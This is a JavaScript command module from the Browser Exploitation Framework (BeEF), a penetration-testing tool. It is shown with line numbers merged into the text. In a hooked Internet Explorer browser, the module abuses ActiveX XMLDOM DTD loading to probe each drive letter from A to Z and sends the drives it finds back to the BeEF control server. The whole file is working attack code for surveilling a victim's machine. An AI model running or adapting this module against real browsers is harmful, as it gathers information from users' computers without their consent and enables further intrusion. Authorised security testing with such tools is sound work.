Path: blob/master/modules/host/detect_local_drives/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78if (!("ActiveXObject" in window)) {9beef.debug('[Detect Users] Unspported browser');10beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());11return false;12}1314function detect_drive(drive) {15var dtd = drive + ':\\';16var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">';17var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");18xmlDoc.async = true;19try {20xmlDoc.loadXML(xml);21return xmlDoc.parseError.errorCode == 0 ? true : false;22} catch (e) {23return true;24}25}2627// Detect drives: A - Z28for (var i = 65; i <= 90; i++) {29var drive = String.fromCharCode(i);30beef.debug('[Detect Local Drives] Checking for drive: ' + drive);31var result = detect_drive(drive);32if (result) {33beef.debug('[Detect Local Drives] Found drive: ' + drive);34beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success());35}36}3738});39404142